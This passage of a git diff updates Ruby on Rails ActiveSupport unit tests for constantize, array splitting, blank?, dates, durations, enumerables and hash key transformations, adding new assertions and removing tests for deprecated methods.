+++ b/activesupport/test/constantize_test_cases.rb
@@ -34,8 +34,6 @@ module ConstantizeTestCases
     assert_equal Case::Dice, yield("Object::Case::Dice")
     assert_equal ConstantizeTestCases, yield("ConstantizeTestCases")
     assert_equal ConstantizeTestCases, yield("::ConstantizeTestCases")
-    assert_equal Object, yield("")
-    assert_equal Object, yield("::")
     assert_raises(NameError) { yield("UnknownClass") }
     assert_raises(NameError) { yield("UnknownClass::Ace") }
     assert_raises(NameError) { yield("UnknownClass::Ace::Base") }
@@ -45,6 +43,8 @@ module ConstantizeTestCases
     assert_raises(NameError) { yield("Ace::Base::ConstantizeTestCases") }
     assert_raises(NameError) { yield("Ace::Gas::Base") }
     assert_raises(NameError) { yield("Ace::Gas::ConstantizeTestCases") }
+    assert_raises(NameError) { yield("") }
+    assert_raises(NameError) { yield("::") }
   end
 
   def run_safe_constantize_tests_on
@@ -58,8 +58,8 @@ module ConstantizeTestCases
     assert_equal Case::Dice, yield("Object::Case::Dice")
     assert_equal ConstantizeTestCases, yield("ConstantizeTestCases")
     assert_equal ConstantizeTestCases, yield("::ConstantizeTestCases")
-    assert_equal Object, yield("")
-    assert_equal Object, yield("::")
+    assert_nil yield("")
+    assert_nil yield("::")
     assert_nil yield("UnknownClass")
     assert_nil yield("UnknownClass::Ace")
     assert_nil yield("UnknownClass::Ace::Base")
diff --git a/activesupport/test/core_ext/array_ext_test.rb b/activesupport/test/core_ext/array_ext_test.rb
index efa7582..57722fd 100644
--- a/activesupport/test/core_ext/array_ext_test.rb
+++ b/activesupport/test/core_ext/array_ext_test.rb
@@ -96,6 +96,10 @@ class ArrayExtToSentenceTests < ActiveSupport::TestCase
     assert_equal "one two, and three", ['one', 'two', 'three'].to_sentence(options)
     assert_equal({ words_connector: ' ' }, options)
   end
+
+  def test_with_blank_elements
+    assert_equal ", one, , two, and three", [nil, 'one', '', 'two', 'three'].to_sentence
+  end
 end
 
 class ArrayExtToSTests < ActiveSupport::TestCase
@@ -208,18 +212,24 @@ class ArraySplitTests < ActiveSupport::TestCase
   end
 
   def test_split_with_argument
-    assert_equal [[1, 2], [4, 5]],  [1, 2, 3, 4, 5].split(3)
-    assert_equal [[1, 2, 3, 4, 5]], [1, 2, 3, 4, 5].split(0)
+    a = [1, 2, 3, 4, 5]
+    assert_equal [[1, 2], [4, 5]],  a.split(3)
+    assert_equal [[1, 2, 3, 4, 5]], a.split(0)
+    assert_equal [1, 2, 3, 4, 5], a
   end
 
   def test_split_with_block
-    assert_equal [[1, 2], [4, 5], [7, 8], [10]], (1..10).to_a.split { |i| i % 3 == 0 }
+    a = (1..10).to_a
+    assert_equal [[1, 2], [4, 5], [7, 8], [10]], a.split { |i| i % 3 == 0 }
+    assert_equal [1, 2, 3, 4, 5, 6, 7, 8, 9 ,10], a
   end
 
   def test_split_with_edge_values
-    assert_equal [[], [2, 3, 4, 5]],  [1, 2, 3, 4, 5].split(1)
-    assert_equal [[1, 2, 3, 4], []],  [1, 2, 3, 4, 5].split(5)
-    assert_equal [[], [2, 3, 4], []], [1, 2, 3, 4, 5].split { |i| i == 1 || i == 5 }
+    a = [1, 2, 3, 4, 5]
+    assert_equal [[], [2, 3, 4, 5]],  a.split(1)
+    assert_equal [[1, 2, 3, 4], []],  a.split(5)
+    assert_equal [[], [2, 3, 4], []], a.split { |i| i == 1 || i == 5 }
+    assert_equal [1, 2, 3, 4, 5], a
   end
 end
 
@@ -355,36 +365,6 @@ class ArrayExtractOptionsTests < ActiveSupport::TestCase
   end
 end
 
-class ArrayUniqByTests < ActiveSupport::TestCase
-  def test_uniq_by
-    ActiveSupport::Deprecation.silence do
-      assert_equal [1,2], [1,2,3,4].uniq_by { |i| i.odd? }
-      assert_equal [1,2], [1,2,3,4].uniq_by(&:even?)
-      assert_equal((-5..0).to_a, (-5..5).to_a.uniq_by{ |i| i**2 })
-    end
-  end
-
-  def test_uniq_by!
-    a = [1,2,3,4]
-    ActiveSupport::Deprecation.silence do
-      a.uniq_by! { |i| i.odd? }
-    end
-    assert_equal [1,2], a
-
-    a = [1,2,3,4]
-    ActiveSupport::Deprecation.silence do
-      a.uniq_by! { |i| i.even? }
-    end
-    assert_equal [1,2], a
-
-    a = (-5..5).to_a
-    ActiveSupport::Deprecation.silence do
-      a.uniq_by! { |i| i**2 }
-    end
-    assert_equal((-5..0).to_a, a)
-  end
-end
-
 class ArrayWrapperTests < ActiveSupport::TestCase
   class FakeCollection
     def to_ary
diff --git a/activesupport/test/core_ext/big_decimal/yaml_conversions_test.rb b/activesupport/test/core_ext/big_decimal/yaml_conversions_test.rb
new file mode 100644
index 0000000..e634679
--- /dev/null
+++ b/activesupport/test/core_ext/big_decimal/yaml_conversions_test.rb
@@ -0,0 +1,11 @@
+require 'abstract_unit'
+
+class BigDecimalYamlConversionsTest < ActiveSupport::TestCase
+  def test_to_yaml
+    assert_deprecated { require 'active_support/core_ext/big_decimal/yaml_conversions' }
+    assert_match("--- 100000.30020320320000000000000000000000000000001\n", BigDecimal.new('100000.30020320320000000000000000000000000000001').to_yaml)
+    assert_match("--- .Inf\n",  BigDecimal.new('Infinity').to_yaml)
+    assert_match("--- .NaN\n",  BigDecimal.new('NaN').to_yaml)
+    assert_match("--- -.Inf\n", BigDecimal.new('-Infinity').to_yaml)
+  end
+end
diff --git a/activesupport/test/core_ext/bigdecimal_test.rb b/activesupport/test/core_ext/bigdecimal_test.rb
index a598704..423a3f2 100644
--- a/activesupport/test/core_ext/bigdecimal_test.rb
+++ b/activesupport/test/core_ext/bigdecimal_test.rb
@@ -1,20 +1,7 @@
 require 'abstract_unit'
-require 'bigdecimal'
 require 'active_support/core_ext/big_decimal'
 
 class BigDecimalTest < ActiveSupport::TestCase
-  def test_to_yaml
-    assert_match("--- 100000.30020320320000000000000000000000000000001\n", BigDecimal.new('100000.30020320320000000000000000000000000000001').to_yaml)
-    assert_match("--- .Inf\n",  BigDecimal.new('Infinity').to_yaml)
-    assert_match("--- .NaN\n",  BigDecimal.new('NaN').to_yaml)
-    assert_match("--- -.Inf\n", BigDecimal.new('-Infinity').to_yaml)
-  end
-
-  def test_to_d
-    bd = BigDecimal.new '10'
-    assert_equal bd, bd.to_d
-  end
-  
   def test_to_s
     bd = BigDecimal.new '0.01'
     assert_equal '0.01', bd.to_s
diff --git a/activesupport/test/core_ext/blank_test.rb b/activesupport/test/core_ext/blank_test.rb
index a68c074..246bc7f 100644
--- a/activesupport/test/core_ext/blank_test.rb
+++ b/activesupport/test/core_ext/blank_test.rb
@@ -4,17 +4,29 @@ require 'abstract_unit'
 require 'active_support/core_ext/object/blank'
 
 class BlankTest < ActiveSupport::TestCase
-  BLANK = [ EmptyTrue.new, nil, false, '', '   ', "  \n\t  \r ", ' ', [], {} ]
+  class EmptyTrue
+    def empty?
+      0
+    end
+  end
+
+  class EmptyFalse
+    def empty?
+      nil
+    end
+  end
+
+  BLANK = [ EmptyTrue.new, nil, false, '', '   ', "  \n\t  \r ", ' ', "\u00a0", [], {} ]
   NOT   = [ EmptyFalse.new, Object.new, true, 0, 1, 'a', [nil], { nil => 0 } ]
 
   def test_blank
-    BLANK.each { |v| assert v.blank?,  "#{v.inspect} should be blank" }
-    NOT.each   { |v| assert !v.blank?, "#{v.inspect} should not be blank" }
+    BLANK.each { |v| assert_equal true, v.blank?,  "#{v.inspect} should be blank" }
+    NOT.each   { |v| assert_equal false, v.blank?, "#{v.inspect} should not be blank" }
   end
 
   def test_present
-    BLANK.each { |v| assert !v.present?, "#{v.inspect} should not be present" }
-    NOT.each   { |v| assert v.present?,  "#{v.inspect} should be present" }
+    BLANK.each { |v| assert_equal false, v.present?, "#{v.inspect} should not be present" }
+    NOT.each   { |v| assert_equal true, v.present?,  "#{v.inspect} should be present" }
   end
 
   def test_presence
diff --git a/activesupport/test/core_ext/class/attribute_accessor_test.rb b/activesupport/test/core_ext/class/attribute_accessor_test.rb
deleted file mode 100644
index 0d5f39a..0000000
--- a/activesupport/test/core_ext/class/attribute_accessor_test.rb
+++ /dev/null
@@ -1,61 +0,0 @@
-require 'abstract_unit'
-require 'active_support/core_ext/class/attribute_accessors'
-
-class ClassAttributeAccessorTest < ActiveSupport::TestCase
-  def setup
-    @class = Class.new do
-      cattr_accessor :foo
-      cattr_accessor :bar,  :instance_writer   => false
-      cattr_reader   :shaq, :instance_reader   => false
-      cattr_accessor :camp, :instance_accessor => false
-    end
-    @object = @class.new
-  end
-
-  def test_should_use_mattr_default
-    assert_nil @class.foo
-    assert_nil @object.foo
-  end
-
-  def test_should_set_mattr_value
-    @class.foo = :test
-    assert_equal :test, @object.foo
-
-    @object.foo = :test2
-    assert_equal :test2, @class.foo
-  end
-
-  def test_should_not_create_instance_writer
-    assert_respond_to @class, :foo
-    assert_respond_to @class, :foo=
-    assert_respond_to @object, :bar
-    assert !@object.respond_to?(:bar=)
-  end
-
-  def test_should_not_create_instance_reader
-    assert_respond_to @class, :shaq
-    assert !@object.respond_to?(:shaq)
-  end
-
-  def test_should_not_create_instance_accessors
-    assert_respond_to @class, :camp
-    assert !@object.respond_to?(:camp)
-    assert !@object.respond_to?(:camp=)
-  end
-
-  def test_should_raise_name_error_if_attribute_name_is_invalid
-    exception = assert_raises NameError do
-      Class.new do
-        cattr_reader "1nvalid"
-      end
-    end
-    assert_equal "invalid class attribute name: 1nvalid", exception.message
-
-    exception = assert_raises NameError do
-      Class.new do
-        cattr_writer "1nvalid"
-      end
-    end
-    assert_equal "invalid class attribute name: 1nvalid", exception.message
-  end
-end
diff --git a/activesupport/test/core_ext/class/delegating_attributes_test.rb b/activesupport/test/core_ext/class/delegating_attributes_test.rb
index 148f829..0e0742d 100644
--- a/activesupport/test/core_ext/class/delegating_attributes_test.rb
+++ b/activesupport/test/core_ext/class/delegating_attributes_test.rb
@@ -39,10 +39,13 @@ class DelegatingAttributesTest < ActiveSupport::TestCase
   end
 
   def test_simple_accessor_declaration_with_instance_reader_false
+    _instance_methods = single_class.public_instance_methods
     single_class.superclass_delegating_accessor :no_instance_reader, :instance_reader => false
     assert_respond_to single_class, :no_instance_reader
     assert_respond_to single_class, :no_instance_reader=
-    assert !single_class.public_instance_methods.map(&:to_s).include?("no_instance_reader")
+    assert !_instance_methods.include?(:no_instance_reader)
+    assert !_instance_methods.include?(:no_instance_reader?)
+    assert !_instance_methods.include?(:_no_instance_reader)
   end
 
   def test_working_with_simple_attributes
diff --git a/activesupport/test/core_ext/date_ext_test.rb b/activesupport/test/core_ext/date_ext_test.rb
index aa5e446..5d0af03 100644
--- a/activesupport/test/core_ext/date_ext_test.rb
+++ b/activesupport/test/core_ext/date_ext_test.rb
@@ -25,6 +25,7 @@ class DateExtCalculationsTest < ActiveSupport::TestCase
     assert_equal "February 21st, 2005", date.to_s(:long_ordinal)
     assert_equal "2005-02-21",          date.to_s(:db)
     assert_equal "21 Feb 2005",         date.to_s(:rfc822)
+    assert_equal "2005-02-21",          date.to_s(:iso8601)
   end
 
   def test_readable_inspect
@@ -247,6 +248,10 @@ class DateExtCalculationsTest < ActiveSupport::TestCase
     assert_equal Time.local(2005,2,21,0,0,0), Date.new(2005,2,21).beginning_of_day
   end
 
+  def test_middle_of_day
+    assert_equal Time.local(2005,2,21,12,0,0), Date.new(2005,2,21).middle_of_day
+  end
+
   def test_beginning_of_day_when_zone_is_set
     zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
     with_env_tz 'UTC' do
@@ -271,6 +276,23 @@ class DateExtCalculationsTest < ActiveSupport::TestCase
     end
   end
 
+  def test_all_week
+    assert_equal Date.new(2011,6,6)..Date.new(2011,6,12), Date.new(2011,6,7).all_week
+    assert_equal Date.new(2011,6,5)..Date.new(2011,6,11), Date.new(2011,6,7).all_week(:sunday)
+  end
+
+  def test_all_month
+    assert_equal Date.new(2011,6,1)..Date.new(2011,6,30), Date.new(2011,6,7).all_month
+  end
+
+  def test_all_quarter
+    assert_equal Date.new(2011,4,1)..Date.new(2011,6,30), Date.new(2011,6,7).all_quarter
+  end
+
+  def test_all_year
+    assert_equal Date.new(2011,1,1)..Date.new(2011,12,31), Date.new(2011,6,7).all_year
+  end
+
   def test_xmlschema
     with_env_tz 'US/Eastern' do
       assert_match(/^1980-02-28T00:00:00-05:?00$/, Date.new(1980, 2, 28).xmlschema)
@@ -363,10 +385,3 @@ class DateExtBehaviorTest < ActiveSupport::TestCase
   end
 end
 
-class DateExtConversionsTest < ActiveSupport::TestCase
-  def test_to_time_in_current_zone_is_deprecated
-    assert_deprecated(/to_time_in_current_zone/) do
-      Date.new(2012,6,7).to_time_in_current_zone
-    end
-  end
-end
diff --git a/activesupport/test/core_ext/date_time_ext_test.rb b/activesupport/test/core_ext/date_time_ext_test.rb
index 571344b..0a40aeb 100644
--- a/activesupport/test/core_ext/date_time_ext_test.rb
+++ b/activesupport/test/core_ext/date_time_ext_test.rb
@@ -18,6 +18,12 @@ class DateTimeExtCalculationsTest < ActiveSupport::TestCase
     assert_equal "Mon, 21 Feb 2005 14:30:00 +0000",   datetime.to_s(:rfc822)
     assert_equal "February 21st, 2005 14:30",         datetime.to_s(:long_ordinal)
     assert_match(/^2005-02-21T14:30:00(Z|\+00:00)$/,  datetime.to_s)
+
+    with_env_tz "US/Central" do
+      assert_equal "2009-02-05T14:30:05-06:00", DateTime.civil(2009, 2, 5, 14, 30, 5, Rational(-21600, 86400)).to_s(:iso8601)
+      assert_equal "2008-06-09T04:05:01-05:00", DateTime.civil(2008, 6, 9, 4, 5, 1, Rational(-18000, 86400)).to_s(:iso8601)
+      assert_equal "2009-02-05T14:30:05+00:00", DateTime.civil(2009, 2, 5, 14, 30, 5).to_s(:iso8601)
+    end
   end
 
   def test_readable_inspect
@@ -76,6 +82,10 @@ class DateTimeExtCalculationsTest < ActiveSupport::TestCase
     assert_equal DateTime.civil(2005,2,4,0,0,0), DateTime.civil(2005,2,4,10,10,10).beginning_of_day
   end
 
+  def test_middle_of_day
+    assert_equal DateTime.civil(2005,2,4,12,0,0), DateTime.civil(2005,2,4,10,10,10).middle_of_day
+  end
+
   def test_end_of_day
     assert_equal DateTime.civil(2005,2,4,23,59,59), DateTime.civil(2005,2,4,10,10,10).end_of_day
   end
diff --git a/activesupport/test/core_ext/duration_test.rb b/activesupport/test/core_ext/duration_test.rb
index 5e39872..c8f17f4 100644
--- a/activesupport/test/core_ext/duration_test.rb
+++ b/activesupport/test/core_ext/duration_test.rb
@@ -27,9 +27,17 @@ class DurationTest < ActiveSupport::TestCase
   def test_equals
     assert 1.day == 1.day
     assert 1.day == 1.day.to_i
+    assert 1.day.to_i == 1.day
     assert !(1.day == 'foo')
   end
 
+  def test_eql
+    assert 1.minute.eql?(1.minute)
+    assert 2.days.eql?(48.hours)
+    assert !1.second.eql?(1)
+    assert !1.eql?(1.second)
+  end
+
   def test_inspect
     assert_equal '0 seconds',                       0.seconds.inspect
     assert_equal '1 month',                         1.month.inspect
@@ -37,6 +45,8 @@ class DurationTest < ActiveSupport::TestCase
     assert_equal '6 months and -2 days',            (6.months - 2.days).inspect
     assert_equal '10 seconds',                      10.seconds.inspect
     assert_equal '10 years, 2 months, and 1 day',   (10.years + 2.months + 1.day).inspect
+    assert_equal '10 years, 2 months, and 1 day',   (10.years + 1.month  + 1.day + 1.month).inspect
+    assert_equal '10 years, 2 months, and 1 day',   (1.day + 10.years + 2.months).inspect
     assert_equal '7 days',                          1.week.inspect
     assert_equal '14 days',                         1.fortnight.inspect
   end
@@ -50,12 +60,10 @@ class DurationTest < ActiveSupport::TestCase
   end
 
   def test_argument_error
-    1.second.ago('')
-    flunk("no exception was raised")
-  rescue ArgumentError => e
+    e = assert_raise ArgumentError do
+      1.second.ago('')
+    end
     assert_equal 'expected a time or date, got ""', e.message, "ensure ArgumentError is not being raised by dependencies.rb"
-  rescue Exception => e
-    flunk("ArgumentError should be raised, but we got #{e.class} instead")
   end
 
   def test_fractional_weeks
@@ -68,6 +76,19 @@ class DurationTest < ActiveSupport::TestCase
     assert_equal 86400 * 1.7, 1.7.days
   end
 
+  def test_since_and_ago
+    t = Time.local(2000)
+    assert t + 1, 1.second.since(t)
+    assert t - 1, 1.second.ago(t)
+  end
+
+  def test_since_and_ago_without_argument
+    now = Time.now
+    assert 1.second.since >= now + 1
+    now = Time.now
+    assert 1.second.ago >= now - 1
+  end
+
   def test_since_and_ago_with_fractional_days
     t = Time.local(2000)
     # since
@@ -93,10 +114,10 @@ class DurationTest < ActiveSupport::TestCase
     with_env_tz 'US/Eastern' do
       Time.stubs(:now).returns Time.local(2000)
       # since
-      assert_equal false, 5.seconds.since.is_a?(ActiveSupport::TimeWithZone)
+      assert_not_instance_of ActiveSupport::TimeWithZone, 5.seconds.since
       assert_equal Time.local(2000,1,1,0,0,5), 5.seconds.since
       # ago
-      assert_equal false, 5.seconds.ago.is_a?(ActiveSupport::TimeWithZone)
+      assert_not_instance_of ActiveSupport::TimeWithZone, 5.seconds.ago
       assert_equal Time.local(1999,12,31,23,59,55), 5.seconds.ago
     end
   end
@@ -106,11 +127,11 @@ class DurationTest < ActiveSupport::TestCase
     with_env_tz 'US/Eastern' do
       Time.stubs(:now).returns Time.local(2000)
       # since
-      assert_equal true, 5.seconds.since.is_a?(ActiveSupport::TimeWithZone)
+      assert_instance_of ActiveSupport::TimeWithZone, 5.seconds.since
       assert_equal Time.utc(2000,1,1,0,0,5), 5.seconds.since.time
       assert_equal 'Eastern Time (US & Canada)', 5.seconds.since.time_zone.name
       # ago
-      assert_equal true, 5.seconds.ago.is_a?(ActiveSupport::TimeWithZone)
+      assert_instance_of ActiveSupport::TimeWithZone, 5.seconds.ago
       assert_equal Time.utc(1999,12,31,23,59,55), 5.seconds.ago.time
       assert_equal 'Eastern Time (US & Canada)', 5.seconds.ago.time_zone.name
     end
@@ -142,6 +163,11 @@ class DurationTest < ActiveSupport::TestCase
     assert_equal '172800', 2.days.to_json
   end
 
+  def test_case_when
+    cased = case 1.day when 1.day then "ok" end
+    assert_equal cased, "ok"
+  end
+
   protected
     def with_env_tz(new_tz = 'US/Eastern')
       old_tz, ENV['TZ'] = ENV['TZ'], new_tz
diff --git a/activesupport/test/core_ext/enumerable_test.rb b/activesupport/test/core_ext/enumerable_test.rb
index 6781e3c..6fcf6e8 100644
--- a/activesupport/test/core_ext/enumerable_test.rb
+++ b/activesupport/test/core_ext/enumerable_test.rb
@@ -8,7 +8,6 @@ class SummablePayment < Payment
 end
 
 class EnumerableTests < ActiveSupport::TestCase
-  Enumerator = [].each.class
 
   class GenericEnumerable
     include Enumerable
@@ -21,26 +20,6 @@ class EnumerableTests < ActiveSupport::TestCase
     end
   end
 
-  def test_group_by
-    names = %w(marcel sam david jeremy)
-    klass = Struct.new(:name)
-    objects = (1..50).map do
-      klass.new names.sample
-    end
-
-    enum = GenericEnumerable.new(objects)
-    grouped = enum.group_by { |object| object.name }
-
-    grouped.each do |name, group|
-      assert group.all? { |person| person.name == name }
-    end
-
-    assert_equal objects.uniq.map(&:name), grouped.keys
-    assert({}.merge(grouped), "Could not convert ActiveSupport::OrderedHash into Hash")
-    assert_equal Enumerator, enum.group_by.class
-    assert_equal grouped, enum.group_by.each(&:name)
-  end
-
   def test_sums
     enum = GenericEnumerable.new([5, 15, 10])
     assert_equal 30, enum.sum
@@ -94,6 +73,10 @@ class EnumerableTests < ActiveSupport::TestCase
     assert_equal({ 5 => Payment.new(5), 15 => Payment.new(15), 10 => Payment.new(10) },
                  payments.index_by { |p| p.price })
     assert_equal Enumerator, payments.index_by.class
+    if Enumerator.method_defined? :size
+      assert_equal nil, payments.index_by.size
+      assert_equal 42, (1..42).index_by.size
+    end
     assert_equal({ 5 => Payment.new(5), 15 => Payment.new(15), 10 => Payment.new(10) },
                  payments.index_by.each { |p| p.price })
   end
diff --git a/activesupport/test/core_ext/hash_ext_test.rb b/activesupport/test/core_ext/hash_ext_test.rb
index 39bd0a2..ff5c382 100644
--- a/activesupport/test/core_ext/hash_ext_test.rb
+++ b/activesupport/test/core_ext/hash_ext_test.rb
@@ -23,6 +23,16 @@ class HashExtTest < ActiveSupport::TestCase
     end
   end
 
+  class HashByConversion
+    def initialize(hash)
+      @hash = hash
+    end
+
+    def to_hash
+      @hash
+    end
+  end
+
   def setup
     @strings = { 'a' => 1, 'b' => 2 }
     @nested_strings = { 'a' => { 'b' => { 'c' => 3 } } }
@@ -36,6 +46,10 @@ class HashExtTest < ActiveSupport::TestCase
     @nested_illegal_symbols = { [] => { [] => 3} }
     @upcase_strings = { 'A' => 1, 'B' => 2 }
     @nested_upcase_strings = { 'A' => { 'B' => { 'C' => 3 } } }
+    @string_array_of_hashes = { 'a' => [ { 'b' => 2 }, { 'c' => 3 }, 4 ] }
+    @symbol_array_of_hashes = { :a => [ { :b => 2 }, { :c => 3 }, 4 ] }
+    @mixed_array_of_hashes = { :a => [ { :b => 2 }, { 'c' => 3 }, 4 ] }
+    @upcase_array_of_hashes = { 'A' => [ { 'B' => 2 }, { 'C' => 3 }, 4 ] }
   end
 
   def test_methods
@@ -54,6 +68,8 @@ class HashExtTest < ActiveSupport::TestCase
     assert_respond_to h, :deep_stringify_keys!
     assert_respond_to h, :to_options
     assert_respond_to h, :to_options!
+    assert_respond_to h, :compact
+    assert_respond_to h, :compact!
   end
 
   def test_transform_keys
@@ -72,6 +88,9 @@ class HashExtTest < ActiveSupport::TestCase
     assert_equal @nested_upcase_strings, @nested_symbols.deep_transform_keys{ |key| key.to_s.upcase }
     assert_equal @nested_upcase_strings, @nested_strings.deep_transform_keys{ |key| key.to_s.upcase }
     assert_equal @nested_upcase_strings, @nested_mixed.deep_transform_keys{ |key| key.to_s.upcase }
+    assert_equal @upcase_array_of_hashes, @string_array_of_hashes.deep_transform_keys{ |key| key.to_s.upcase }
+    assert_equal @upcase_array_of_hashes, @symbol_array_of_hashes.deep_transform_keys{ |key| key.to_s.upcase }
+    assert_equal @upcase_array_of_hashes, @mixed_array_of_hashes.deep_transform_keys{ |key| key.to_s.upcase }
   end
 
   def test_deep_transform_keys_not_mutates
@@ -97,6 +116,9 @@ class HashExtTest < ActiveSupport::TestCase
     assert_equal @nested_upcase_strings, @nested_symbols.deep_dup.deep_transform_keys!{ |key| key.to_s.upcase }
     assert_equal @nested_upcase_strings, @nested_strings.deep_dup.deep_transform_keys!{ |key| key.to_s.upcase }
     assert_equal @nested_upcase_strings, @nested_mixed.deep_dup.deep_transform_keys!{ |key| key.to_s.upcase }
+    assert_equal @upcase_array_of_hashes, @string_array_of_hashes.deep_dup.deep_transform_keys!{ |key| key.to_s.upcase }
+    assert_equal @upcase_array_of_hashes, @symbol_array_of_hashes.deep_dup.deep_transform_keys!{ |key| key.to_s.upcase }
+    assert_equal @upcase_array_of_hashes, @mixed_array_of_hashes.deep_dup.deep_transform_keys!{ |key| key.to_s.upcase }
   end
 
   def test_deep_transform_keys_with_bang_mutates
@@ -122,6 +144,9 @@ class HashExtTest < ActiveSupport::TestCase
     assert_equal @nested_symbols, @nested_symbols.deep_symbolize_keys
     assert_equal @nested_symbols, @nested_strings.deep_symbolize_keys
     assert_equal @nested_symbols, @nested_mixed.deep_symbolize_keys
+    assert_equal @symbol_array_of_hashes, @string_array_of_hashes.deep_symbolize_keys
+    assert_equal @symbol_array_of_hashes, @symbol_array_of_hashes.deep_symbolize_keys
+    assert_equal @symbol_array_of_hashes, @mixed_array_of_hashes.deep_symbolize_keys
   end
 
   def test_deep_symbolize_keys_not_mutates
@@ -147,6 +172,9 @@ class HashExtTest < ActiveSupport::TestCase
     assert_equal @nested_symbols, @nested_symbols.deep_dup.deep_symbolize_keys!
     assert_equal @nested_symbols, @nested_strings.deep_dup.deep_symbolize_keys!
     assert_equal @nested_symbols, @nested_mixed.deep_dup.deep_symbolize_keys!
+    assert_equal @symbol_array_of_hashes, @string_array_of_hashes.deep_dup.deep_symbolize_keys!
+    assert_equal @symbol_array_of_hashes, @symbol_array_of_hashes.deep_dup.deep_symbolize_keys!
+    assert_equal @symbol_array_of_hashes, @mixed_array_of_hashes.deep_dup.deep_symbolize_keys!
   end
 
   def test_deep_symbolize_keys_with_bang_mutates
@@ -192,6 +220,9 @@ class HashExtTest < ActiveSupport::TestCase
     assert_equal @nested_strings, @nested_symbols.deep_stringify_keys
     assert_equal @nested_strings, @nested_strings.deep_stringify_keys
     assert_equal @nested_strings, @nested_mixed.deep_stringify_keys
+    assert_equal @string_array_of_hashes, @string_array_of_hashes.deep_stringify_keys
+    assert_equal @string_array_of_hashes, @symbol_array_of_hashes.deep_stringify_keys
+    assert_equal @string_array_of_hashes, @mixed_array_of_hashes.deep_stringify_keys
   end
 
   def test_deep_stringify_keys_not_mutates
@@ -217,6 +248,9 @@ class HashExtTest < ActiveSupport::TestCase
     assert_equal @nested_strings, @nested_symbols.deep_dup.deep_stringify_keys!
     assert_equal @nested_strings, @nested_strings.deep_dup.deep_stringify_keys!
     assert_equal @nested_strings, @nested_mixed.deep_dup.deep_stringify_keys!
+    assert_equal @string_array_of_hashes, @string_array_of_hashes.deep_dup.deep_stringify_keys!
+    assert_equal @string_array_of_hashes, @symbol_array_of_hashes.deep_dup.deep_stringify_keys!
+    assert_equal @string_array_of_hashes, @mixed_array_of_hashes.deep_dup.deep_stringify_keys!
   end
 
   def test_deep_stringify_keys_with_bang_mutates
@@ -409,6 +443,12 @@ class HashExtTest < ActiveSupport::TestCase
     assert [updated_with_strings, updated_with_symbols, updated_with_mixed].all? { |h| h.keys.size == 2 }
   end
 
+  def test_update_with_to_hash_conversion
+    hash = HashWithIndifferentAccess.new
+    hash.update HashByConversion.new({ :a => 1 })
+    assert_equal hash['a'], 1
+  end
+
   def test_indifferent_merging
     hash = HashWithIndifferentAccess.new
     hash[:a] = 'failure'
@@ -428,6 +468,12 @@ class HashExtTest < ActiveSupport::TestCase
     assert_equal 2, hash['b']
   end
 
+  def test_merge_with_to_hash_conversion
+    hash = HashWithIndifferentAccess.new
+    merged = hash.merge HashByConversion.new({ :a => 1 })
+    assert_equal merged['a'], 1
+  end
+
   def test_indifferent_replace
     hash = HashWithIndifferentAccess.new
     hash[:a] = 42
@@ -440,6 +486,18 @@ class HashExtTest < ActiveSupport::TestCase
     assert_same hash, replaced
   end
 
+  def test_replace_with_to_hash_conversion
+    hash = HashWithIndifferentAccess.new
+    hash[:a] = 42
+
+    replaced = hash.replace(HashByConversion.new(b: 12))
+
+    assert hash.key?('b')
+    assert !hash.key?(:a)
+    assert_equal 12, hash[:b]
+    assert_same hash, replaced
+  end
+
   def test_indifferent_merging_with_block
     hash = HashWithIndifferentAccess.new
     hash[:a] = 1
@@ -480,6 +538,42 @@ class HashExtTest < ActiveSupport::TestCase
     assert_equal hash.delete('a'), nil
   end
 
+  def test_indifferent_select
+    hash = ActiveSupport::HashWithIndifferentAccess.new(@strings).select {|k,v| v == 1}
+
+    assert_equal({ 'a' => 1 }, hash)
+    assert_instance_of ActiveSupport::HashWithIndifferentAccess, hash
+  end
+
+  def test_indifferent_select_returns_a_hash_when_unchanged
+    hash = ActiveSupport::HashWithIndifferentAccess.new(@strings).select {|k,v| true}
+
+    assert_instance_of ActiveSupport::HashWithIndifferentAccess, hash
+  end
+
+  def test_indifferent_select_bang
+    indifferent_strings = ActiveSupport::HashWithIndifferentAccess.new(@strings)
+    indifferent_strings.select! {|k,v| v == 1}
+
+    assert_equal({ 'a' => 1 }, indifferent_strings)
+    assert_instance_of ActiveSupport::HashWithIndifferentAccess, indifferent_strings
+  end
+
+  def test_indifferent_reject
+    hash = ActiveSupport::HashWithIndifferentAccess.new(@strings).reject {|k,v| v != 1}
+
+    assert_equal({ 'a' => 1 }, hash)
+    assert_instance_of ActiveSupport::HashWithIndifferentAccess, hash
+  end
+
+  def test_indifferent_reject_bang
+    indifferent_strings = ActiveSupport::HashWithIndifferentAccess.new(@strings)
+    indifferent_strings.reject! {|k,v| v != 1}
+
+    assert_equal({ 'a' => 1 }, indifferent_strings)
+    assert_instance_of ActiveSupport::HashWithIndifferentAccess, indifferent_strings
+  end
+
   def test_indifferent_to_hash
     # Should convert to a Hash with String keys.
     assert_equal @strings, @mixed.with_indifferent_access.to_hash
@@ -588,10 +682,15 @@ class HashExtTest < ActiveSupport::TestCase
       { :failure => "stuff", :funny => "business" }.assert_valid_keys(:failure, :funny)
     end
 
-    assert_raise(ArgumentError, "Unknown key: failore") do
+    exception = assert_raise ArgumentError do
       { :failore => "stuff", :funny => "business" }.assert_valid_keys([ :failure, :funny ])
+    end
+    assert_equal "Unknown key: :failore. Valid keys are: :failure, :funny", exception.message
+
+    exception = assert_raise ArgumentError do
       { :failore => "stuff", :funny => "business" }.assert_valid_keys(:failure, :funny)
     end
+    assert_equal "Unknown key: :failore. Valid keys are: :failure, :funny", exception.message
   end
 
   def test_assorted_keys_not_stringified
@@ -620,6 +719,16 @@ class HashExtTest < ActiveSupport::TestCase
     assert_equal expected, hash_1
   end
 
+  def test_deep_merge_with_falsey_values
+    hash_1 = { e: false }
+    hash_2 = { e: 'e' }
+    expected = { e: [:e, false, 'e'] }
+    assert_equal(expected, hash_1.deep_merge(hash_2) { |k, o, n| [k, o, n] })
+
+    hash_1.deep_merge!(hash_2) { |k, o, n| [k, o, n] }
+    assert_equal expected, hash_1
+  end
+
   def test_deep_merge_on_indifferent_access
     hash_1 = HashWithIndifferentAccess.new({ :a => "a", :b => "b", :c => { :c1 => "c1", :c2 => "c2", :c3 => { :d1 => "d1" } } })
     hash_2 = HashWithIndifferentAccess.new({ :a => 1, :c => { :c1 => 2, :c3 => { :d2 => "d2" } } })
@@ -671,12 +780,6 @@ class HashExtTest < ActiveSupport::TestCase
     assert_equal expected, merged
   end
 
-  def test_diff
-    assert_deprecated do
